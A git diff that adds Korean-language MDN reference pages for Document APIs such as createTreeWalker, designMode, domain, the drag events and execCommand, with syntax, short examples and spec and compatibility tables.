[3] To experiment with custom elements in Firefox, you must set the dom.webcomponents.enabled and dom.webcomponents.customelements.enabled preferences to true.

+ +

See also

+ + diff --git a/files/ko/web/api/document/createrange/index.html b/files/ko/web/api/document/createrange/index.html new file mode 100644 index 0000000000..655add378f --- /dev/null +++ b/files/ko/web/api/document/createrange/index.html @@ -0,0 +1,33 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +translation_of: Web/API/Document/createRange +--- +
{{APIRef("DOM")}}
+ +

새 {{domxref("Range")}} 객체를 리턴합니다.

+ +

문법

+ +
range = document.createRange();
+
+ +

range 는 생성된 {{domxref("Range")}} 객체입니다.

+ +

예제

+ +
var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+
+ +

노트

+ +

Range 객체의 대부분의 메소드들은 Range 객체가 생성 된 후, 바운더리 포인트를 지정해야 사용할 수 있습니다.

+ +

명세

+ + diff --git a/files/ko/web/api/document/createtextnode/index.html b/files/ko/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..2da7134fbb --- /dev/null +++ b/files/ko/web/api/document/createtextnode/index.html @@ -0,0 +1,60 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - DOM + - Gecko +translation_of: Web/API/Document/createTextNode +--- +
{{APIRef("DOM")}}
+ +

요약

+ +

텍스트 노드를 생성합니다.

+ +

문법

+ +
텍스트 = document.createTextNode(데이터);
+
+ +

매개변수

+ + + +

예제

+ +
<html>
+<head>
+<title>createTextNode 예제</title>
+
+<script type="text/javascript">
+
+function addTextNode()
+{
+var newtext = document.createTextNode(" 동적으로 추가되는 텍스트. ");
+var para = document.getElementById("p1");
+para.appendChild(newtext);
+}
+
+</script>
+</head>
+
+<body>
+<div style="border: 1px solid red">
+<p id="p1">단락의 첫번째 줄.<br /></p>
+</div><br />
+
+<button onclick="addTextNode();">TextNode 추가하기.</button>
+
+</body>
+</html>
+
+ +

규약

+ +

createTextNode

+ +

{{ languages( { "en": "en/DOM/document.createTextNode", "fr": "fr/DOM/document.createTextNode", "pl": "pl/DOM/document.createTextNode" } ) }}

diff --git a/files/ko/web/api/document/createtreewalker/index.html b/files/ko/web/api/document/createtreewalker/index.html new file mode 100644 index 0000000000..3becf1e6f4 --- /dev/null +++ b/files/ko/web/api/document/createtreewalker/index.html @@ -0,0 +1,160 @@ +--- +title: Document.createTreeWalker() +slug: Web/API/Document/createTreeWalker +tags: + - API + - DOM + - Document + - Method + - Reference +translation_of: Web/API/Document/createTreeWalker +--- +
{{ApiRef("Document")}}
+ +

Document.createTreeWalker() 메소드는 새로운 {{domxref("TreeWalker")}} 객체를 반환합니다.

+ +

구문

+ +
document.createTreeWalker(root, whatToShow[, filter[, entityReferenceExpansion]]);
+
+ +

매개변수

+ +
+
root
+
이 {{domxref("TreeWalker")}} 순회의 루트 {{domxref("Node")}}이다. 이것은 보통 이 문서 소유의 한 엘리먼트이다.
+
whatToShow {{optional_inline}}
+
NodeFilter의 상수 프라퍼티들을 조합하여 만든 비트마스크를 나타내는 선택적인 unsigned long 이다. 이것은 특정 유형의 노드를 필터링하는 편리한 방법이다. 기본값은 SHOW_ALL 상수를 나타내는 0xFFFFFFFF이다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수숫자 값설명
NodeFilter.SHOW_ALL-1 (unsigned long의 최대 값)Shows all nodes.
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8Shows {{domxref("CDATASection")}} nodes.
NodeFilter.SHOW_COMMENT128Shows {{domxref("Comment")}} nodes.
NodeFilter.SHOW_DOCUMENT256Shows {{domxref("Document")}} nodes.
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024Shows {{domxref("DocumentFragment")}} nodes.
NodeFilter.SHOW_DOCUMENT_TYPE512Shows {{domxref("DocumentType")}} nodes.
NodeFilter.SHOW_ELEMENT1Shows {{domxref("Element")}} nodes.
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16Shows {{domxref("EntityReference")}} nodes.
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_PROCESSING_INSTRUCTION64Shows {{domxref("ProcessingInstruction")}} nodes.
NodeFilter.SHOW_TEXT4Shows {{domxref("Text")}} nodes.
+
+
filter {{optional_inline}}
+
선택적인 {{domxref("NodeFilter")}}이다. {{domxref("TreeWalker")}}가 whatToShow 체크를 통과한 노드의 승인여부를 판단하기 위해 호출하는 acceptNode 메소드를 가진 객체이다.
+
entityReferenceExpansion {{optional_inline}} {{obsolete_inline}}
+
한 {{domxref("EntityReference")}}를 버릴 때 그 전체 하위 트리를 같이 버려야하는지를 나타내는 {{domxref("Boolean")}} 플래그이다.
+
+ +

반환 값

+ +

새로운 {{domxref("TreeWalker")}} 객체.

+ +

예제

+ +

다음 예제는 body의 모든 노드들을 순회하고, 노드의 집합을 엘리먼트로 줄이고, 단순히 각 노드를 승인하고 (대신 acceptNode() 메소드에서 그 집합을 줄일 수도 있다), 노드들(지금은 모두 엘리먼트지만)을 전진하기 위해 생성된 트리 워커 반복자를 이용하여 배열에 푸시한다.

+ +
var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}{{Spec2('DOM WHATWG')}}Removed the expandEntityReferences parameter. Made the whatToShow and filter parameters optionals.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.createTreeWalker")}}

+ +

참고

+ + diff --git a/files/ko/web/api/document/defaultview/index.html b/files/ko/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..de6d2c5e25 --- /dev/null +++ b/files/ko/web/api/document/defaultview/index.html @@ -0,0 +1,46 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/defaultView +--- +
{{ApiRef}}
+ +

브라우저의 document.defaultView는 {{glossary("browsing context", "문서")}}와 연결된 {{domxref("Window", "window")}} 객체를 반환합니다. 가능하지 않은 경우 {{jsxref("null")}}을 대신 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML WHATWG')}}No change
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.defaultView")}}

+
diff --git a/files/ko/web/api/document/designmode/index.html b/files/ko/web/api/document/designmode/index.html new file mode 100644 index 0000000000..179f9dedee --- /dev/null +++ b/files/ko/web/api/document/designmode/index.html @@ -0,0 +1,50 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +translation_of: Web/API/Document/designMode +--- +
{{ ApiRef() }}
+ +

document.designMode는 전체 document의 편집 가능 여부를 제어합니다. 유효한 값은 "on" 과 "off" 입니다. 명세에 따르면, 이 속성은 기본적으로 "off"로 설정되어 있습니다. Firefox는 이 표준 명세를 따릅니다. Chrome과 IE의 초기 버전들에서는 "inherit" 로 설정되어 있습니다. IE6-10 브라우저에서는, 값이 대문자로 표기됩니다.

+ +

Syntax

+ +
var mode = document.designMode;
+document.designMode = "on";
+document.designMode = "off";
+ +

Example

+ +

{{HTMLElement("iframe")}}의 document를 편집 가능하게 설정합니다.

+ +
iframeNode.contentDocument.designMode = "on";
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{Compat("api.Document.designMode")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/doctype/index.html b/files/ko/web/api/document/doctype/index.html new file mode 100644 index 0000000000..228c3b595d --- /dev/null +++ b/files/ko/web/api/document/doctype/index.html @@ -0,0 +1,58 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +translation_of: Web/API/Document/doctype +--- +
{{ApiRef("DOM")}}
+ +

현재 document와 연관된 DTD(Document Type Declaration)를 반환합니다. 반환된 object는  {{domxref("DocumentType")}} 인터페이스를 구현합니다. DocumentType을 작성하려면 {{domxref("DOMImplementation.createDocumentType()")}}를 사용합니다.

+ +

Syntax

+ +
doctype = document.doctype;
+
+ + + +

Example

+ +
var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);
+ +

Notes

+ +

현재 document와 연관된 DTD가 없으면, 이 property는 null을 반환합니다.

+ +

DOM level 2는 document type 선언 편집을 지원하지 않습니다. (read-only)

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}{{Spec2("DOM3 Core")}}{{HTMLElement("html")}} element가 없는 HTML documents문서에 대한 리턴 값이 변경되었습니다. document type을 변경할 수 있도록 정의합니다.
{{SpecName("DOM2 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}{{Spec2("DOM2 Core")}}초기 선언.
diff --git a/files/ko/web/api/document/document/index.html b/files/ko/web/api/document/document/index.html new file mode 100644 index 0000000000..6706d05e0e --- /dev/null +++ b/files/ko/web/api/document/document/index.html @@ -0,0 +1,43 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - Constructor + - DOM + - Document + - Reference +translation_of: Web/API/Document/Document +--- +
{{APIRef}}
+ +

Document 생성자는 브라우저에 로드되고 페이지 컨텐츠로의 진입점으로써 제공되는 웹 페이지인 새로운 {{domxref("Document")}} 객체를 생성합니다.

+ +

구문

+ +
new Document()
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG','#dom-document-document','Document')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.Document")}}
diff --git a/files/ko/web/api/document/documentelement/index.html b/files/ko/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..429fce87c4 --- /dev/null +++ b/files/ko/web/api/document/documentelement/index.html @@ -0,0 +1,60 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Document + - Property + - Reference + - ㅈ +translation_of: Web/API/Document/documentElement +--- +
{{ApiRef("DOM")}}
+ +

Document.documentElement 읽기 전용 속성은 문서의 루트 요소를 나타내는 {{domxref("Element")}}를 반환합니다. HTML 문서를 예로 들면 {{htmlelement("html")}} 요소를 반환합니다.

+ +

구문

+ +
const element = document.documentElement
+
+ +

예제

+ +
const rootElement = document.documentElement;
+const firstTier = rootElement.childNodes;
+// firstTier is a NodeList of the direct children of the root element
+// such as <head> and <body>
+
+for (const child of firstTier) {
+   // do something with each direct child of the root element
+}
+ +

참고

+ +

모든 비어있지 않은 HTML 문서의 documentElement는 항상 {{htmlelement("html")}} 요소를 가리킵니다. 모든 비어있지 않은 XML 문서의 documentElement는 종류불문하고 해당 문서의 루트 요소를 가리킵니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.documentElement")}}

diff --git a/files/ko/web/api/document/documenturi/index.html b/files/ko/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..51f8d795c8 --- /dev/null +++ b/files/ko/web/api/document/documenturi/index.html @@ -0,0 +1,116 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +tags: + - URL + - documentURI +translation_of: Web/API/Document/documentURI +--- +
{{ApiRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 documentURI 속성은 document location 을 string 으로 반환합니다.

+ +

DOM3 에서 원래 이 속성은 읽기/쓰기 속성으로 정의되어 있습니다. DOM4 명세에서는 읽기 전용입니다.

+ +

Syntax

+ +
var string = document.documentURI;
+
+ +

Notes

+ +

HTML documents 는 동일한 값을 반환하는 {{domxref("document.URL")}} 속성을 가집니다. URL 과는 달리, documentURI 는 모든 타입의 documents 에서 이용 가능합니다.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}{{Spec2('DOM4')}} 
{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}{{Spec2('DOM3 Core')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
DOM3 behavior{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
DOM4 behavior{{CompatChrome(43.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
DOM3 behavior{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
DOM4 behavior{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
diff --git a/files/ko/web/api/document/domain/index.html b/files/ko/web/api/document/domain/index.html new file mode 100644 index 0000000000..35bed661f7 --- /dev/null +++ b/files/ko/web/api/document/domain/index.html @@ -0,0 +1,91 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/domain +--- +
{{ApiRef}}
+ +

{{domxref("Document")}} 인터페이스의 domain 속성은 동일 출처 정책에서 사용하는 현재 문서의 {{glossary("origin", "출처")}}에서 도메인 부분을 설정하거나 가져옵니다.

+ +

domain 속성을 성공적으로 설정하면 출처의 포트를 {{jsxref("null")}}로 설정합니다.

+ +

구문

+ +
const domainString = document.domain
+document.domain = domainString
+ +

값

+ +

현재 문서 출처의 도메인 부분.

+ +

예외

+ +
+
SecurityError
+
다음 상황에서 domain을 변경하려 시도한 경우. +
    +
  • 샌드박스 설정된 {{htmlelement("iframe")}} 요소에 속한 문서
    • +
  • {{glossary("browsing context", "브라우징 맥락")}}이 없는 문서
    • +
  • 문서의 유효 도메인이 null
    • +
  • 주어진 값이 문서의 유효 도메인과 같지 않거나, 등록 가능한 도메인 접미사가 아닌 경우
    • +
  • {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} 헤더가 설정된 경우
    • +
+
+
+ +

예제

+ +

도메인 가져오기

+ +

http://developer.mozilla.org/en-US/docs/Web 주소에서, 다음 코드는 currentDomain 변수에 "developer.mozilla.org"  문자열을 할당합니다.

+ +
const currentDomain = document.domain;
+ +

창 닫기

+ +

어느 문서, 예컨대 www.example.xxx/good.html 등이 www.example.com의 도메인을 가지고 있을 때, 다음 예제는 창을 닫으려 시도합니다.

+ +
const badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+  // 예시에 불과 (window.close()는 아무것도 하지 않을 수도 있음)
+  window.close();
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.domain")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/drag_event/index.html b/files/ko/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..cdf5f4222f --- /dev/null +++ b/files/ko/web/api/document/drag_event/index.html @@ -0,0 +1,183 @@ +--- +title: drag +slug: Web/API/Document/drag_event +tags: + - API + - DOM + - Document + - Drag + - DragEvent + - Event + - Reference + - Web + - drag and drop +translation_of: Web/API/Document/drag_event +--- +
{{APIRef}}
+ +
+ +

drag 이벤트는 사용자가 요소 또는 텍스트를 드래그할 때 수백 밀리초마다 발생합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
이벤트 버블링Yes
이벤트 취소Yes
기본 액션드래그 앤 드롭을 계속한다.
인터페이스{{domxref("DragEvent")}}
이벤트 핸들러 속성{{domxref("GlobalEventHandlers/ondrag", "ondrag")}}
+ +

Examples

+ +

JSFiddle demo에서 이 코드를 보거나 아래에서 상호작용 하십시오.

+ +

HTML

+ +
<div class="dropzone">
+  <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)">
+    This div is draggable
+  </div>
+</div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+
+ +

CSS

+ +
#draggable {
+  width: 200px;
+  height: 20px;
+  text-align: center;
+  background: white;
+}
+
+.dropzone {
+  width: 200px;
+  height: 20px;
+  background: blueviolet;
+  margin-bottom: 10px;
+  padding: 10px;
+}
+
+ +

JavaScript

+ +
var dragged;
+
+/* 드래그 가능한 대상에서 이벤트 발생 */
+document.addEventListener("drag", function(event) {
+
+}, false);
+
+document.addEventListener("dragstart", function(event) {
+  // 드래그한 요소에 대한 참조 변수
+  dragged = event.target;
+  // 요소를 반투명하게 함
+  event.target.style.opacity = .5;
+}, false);
+
+document.addEventListener("dragend", function(event) {
+  // 투명도를 리셋
+  event.target.style.opacity = "";
+}, false);
+
+/* 드롭 대상에서 이벤트 발생 */
+document.addEventListener("dragover", function(event) {
+  // 드롭을 허용하도록 prevetDefault() 호출
+  event.preventDefault();
+}, false);
+
+document.addEventListener("dragenter", function(event) {
+  // 요소를 드롭하려는 대상 위로 드래그했을 때 대상의 배경색 변경
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "purple";
+  }
+
+}, false);
+
+document.addEventListener("dragleave", function(event) {
+  // 요소를 드래그하여 드롭하려던 대상으로부터 벗어났을 때 배경색 리셋
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+  }
+
+}, false);
+
+document.addEventListener("drop", function(event) {
+  // 기본 액션을 막음 (링크 열기같은 것들)
+  event.preventDefault();
+  // 드래그한 요소를 드롭 대상으로 이동
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+    dragged.parentNode.removeChild( dragged );
+    event.target.appendChild( dragged );
+  }
+}, false);
+ +

{{EmbedLiveSample('Examples', '300', '200', '')}}

+ +

사양

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.drag_event")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/dragend_event/index.html b/files/ko/web/api/document/dragend_event/index.html new file mode 100644 index 0000000000..3849f39274 --- /dev/null +++ b/files/ko/web/api/document/dragend_event/index.html @@ -0,0 +1,97 @@ +--- +title: 'Document: dragend event' +slug: Web/API/Document/dragend_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragend +translation_of: Web/API/Document/dragend_event +--- +
{{APIRef}}
+ +

dragend는 드래그 작업이 끝났을 때 발생합니다(마우스 버튼을 떼거나 ESC 키를 누른 경우).

+ + + + + + + + + + + + + + + + + + + + + + + + +
이벤트 버블링Yes
이벤트 취소No
기본 액션Varies
인터페이스{{domxref("DragEvent")}}
이벤트 핸들러 속성{{domxref("GlobalEventHandlers/ondragend", "ondragend")}}
+ +

예제

+ +

drag 이벤트의 예제 코드나 이 JSFiddle demo를 참고하세요.

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.dragend_event")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/dragstart_event/index.html b/files/ko/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..ab3eb2adf2 --- /dev/null +++ b/files/ko/web/api/document/dragstart_event/index.html @@ -0,0 +1,90 @@ +--- +title: dragstart +slug: Web/API/Document/dragstart_event +tags: + - DOM + - Event + - Reference + - drag and drop +translation_of: Web/API/Document/dragstart_event +--- +
{{APIRef}}
+ +

dragstart 이벤트는 사용자가 요소나 선택한 텍스트를 드래그하기 시작할 때 발생합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
버블링가능
취소가능
기본 액션드래그 앤 드랍 작업 초기화.
인터페이스{{domxref("DragEvent")}}
이벤트 처리기 속성{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}
+ +

예제

+ +

드래그 이벤트의 예제를 참고하세요.

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}{{Spec2("HTML WHATWG")}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.dragstart_event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/embeds/index.html b/files/ko/web/api/document/embeds/index.html new file mode 100644 index 0000000000..776eccc0e7 --- /dev/null +++ b/files/ko/web/api/document/embeds/index.html @@ -0,0 +1,36 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - embeds +translation_of: Web/API/Document/embeds +--- +

{{ ApiRef() }}

+ +

Summary

+ +

embeds 는 현재 document 에 embed되어 있는 OBJECT 들의 list 를 반환합니다.

+ +

Syntax

+ +
nodeList = document.embeds
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}{{ Spec2('HTML WHATWG') }} 
diff --git a/files/ko/web/api/document/execcommand/index.html b/files/ko/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..47ec3b3de2 --- /dev/null +++ b/files/ko/web/api/document/execcommand/index.html @@ -0,0 +1,157 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +translation_of: Web/API/Document/execCommand +--- +
{{ApiRef("DOM")}}
+ +

HTML 문서가 designMode로 전환되면 문서에서 execCommand 메서드를 사용할 수 있게 되는데 이것을 이용해서 문서의 편집 가능한 영역을 변경할 수 있습니다. 대부분의 명령어는 문서의 선택 영역에 영향(볼드, 이탤릭 등)을 미치고 나머지는 새 요소를 추가(링크 추가)하거나 전체 줄에 영향(들여쓰기)을 미칩니다. contentEditable을 사용할 때에 execCommand()를 호출하면 현재 활성화된 편집 요소에 영향을 미칩니다.

+ +

문법

+ +
bool = document.execCommand(aCommandName, aShowDefaultUI, aValueArgument)
+
+ +

반환값

+ +

명령어가 지원되지 않거나 활성화되어 있지 않으면 false {{jsxref('Boolean')}} 값을 반환합니다.

+ +

매개 변수

+ +
+
aCommandName
+
실행해야할 명령어 이름 {{domxref("DOMString")}}을 나타냅니다. 사용 가능한 명령어 목록은 {{anch("Commands")}}를 참고하세요.
+
aShowDefaultUI
+
기본 사용자 UI가 나타나야하는지를 보여주는 {{jsxref("Boolean")}} 값입니다. Mozilla에서는 구현되어 있지 않습니다.
+
aValueArgument
+
입력 변수가 필요한 명령어(insertImage와 같이 삽입할 이미지의 URL이 필요한)의 경우 이 {{domxref("DOMString")}}으로 정보를 전달합니다. 변수가 필요하지 않으면 null을 표기합니다.
+
+ +

명령어

+ +
+
backColor
+
문서의 배경색을 변경합니다. styleWithCss 모드에서는 대신 상위 요소의 배경색에 영향을 미칩니다. 변수 값으로 {{cssxref("<color>")}} 값을 넘겨야 합니다. Internet Explorer는 이 명령어를 텍스트 배경색을 변경하는데 사용합니다.
+
bold
+
선택 영역이나 입력 위치에 볼드를 온/오프합니다. Internet Explorer는 {{HTMLElement("b")}} 대신 {{HTMLElement("strong")}} 태그를 사용합니다.
+
contentReadOnly
+
내용 문서를 읽기 전용으로 하거나 편집 가능하게 합니다. boolean true/false 값을 변수로 넘겨주어야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
copy
+
클립보드에 현재 선택 영역의 내용을 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.
+
createLink
+
선택 영역이 있을 때 선택 영역에 링크 요소를 만듭니다. 변수 값으로 HREF URI 문자열이 필요합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)
+
cut
+
현재 선택 영역을 잘라내어서 클립보드에 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.
+
decreaseFontSize
+
선택 영역이나 입력 위치에 {{HTMLElement("small")}} 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)
+
delete
+
현재 선택 영역을 지웁니다.
+
enableInlineTableEditing
+
표의 행과 열을 추가 삭제하는 명령 도구를 활성화하거나 비활성화합니다. (Internet Explorer는 지원하지 않습니다.)
+
enableObjectResizing
+
이미지나 다른 크기 조정이 가능한 객체의 크기 조정 도구를 활성화하거나 비활성화합니다.
+
fontName
+
선택 영역이나 입력 위치의 서체 이름을 변경합니다. 변수 값으로 서체 이름 문자열(예를 드러 "Arial")을 넘겨야 합니다.
+
fontSize
+
선택 영역이나 입력 위치의 서체 크기를 변경합니다. 변수 값으로 HTML 서체 크기(1-7)을 넘겨야 합니다.
+
foreColor
+
선택 영역이나 입력 위치의 서체 색상을 변경합니다. 변수 값으로 색상 값 문자열을 넘겨야 합니다.
+
formatBlock
+
현재 선택 영역이 있는 줄을 포함하는 HTML 요소를 추가하고 줄을 포함하는 요소가 있을 경우 요소을 변경합니다(Firefox에서는 BLOCKQUOTE가 예외적으로 상위 요소를 감쌉니다). 변수 값으로 태그 이름 문자열을 넘겨야 합니다. 실질적으로 모든 블록 요소를 사용할 수 있습니다(예 "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer는 제목 태그  H1 - H6와 ADDRESS, PRE만 지원하고 태그 구분자 < >를 써서 "<H1>"와 같이 사용해야 합니다.)
+
forwardDelete
+
커서 위치 앞의 글자를 지웁니다. delete 키를 누른 것과 동일합니다.
+
heading
+
선택 영역이나 입력 위치 줄에 제목 태그를 추가합니다. 변수 값으로 제목 이름 문자열(예 "H1", "H6")을 넘겨야 합니다. (Internet Explorer와 Safari는 지원하지 않습니다.)
+
hiliteColor
+
선택 영역이나 입력 위치의 배경 색상을 변경합니다. 변수 값으로 생상 값 문자열을 넘겨야 합니다. 이 함수는 UseCSS가 반드시 켜져 있어야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
increaseFontSize
+
선택 영역이나 입력 위치에 BIG 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)
+
indent
+
선택 영역이나 입력 위치를 포함하는 줄을 들여쓰기 합니다. Firefox에서는 선택 영역이 여러줄에 걸처 서로 다른 들여쓰기 값을 가지고 있으면 제일 조금 들여쓰기된 줄만 들여쓰기가 됩니다.
+
insertBrOnReturn
+
엔터키를 눌렀을 때 br 태그를 넣을지 현재의 블록 요소를 두개로 나줄지 제어합니다. (Internet Explorer는 지원하지 않습니다.)
+
insertHorizontalRule
+
입력 위치에 가로줄을 넣습니다(선택 영역은 지워집니다).
+
insertHTML
+
입력 위치에 HTML 문자열을 넣습니다(선택 영역을 지워집니다). 변수 값으로 유효한 HTML 문자열을 넘겨야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
insertImage
+
입력 위치에 이미지를 넣습니다(선택 영역을 지워집니다). 변수 값으로 이미지의 SRC URI 문자열을 넘겨야 합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)
+
insertOrderedList
+
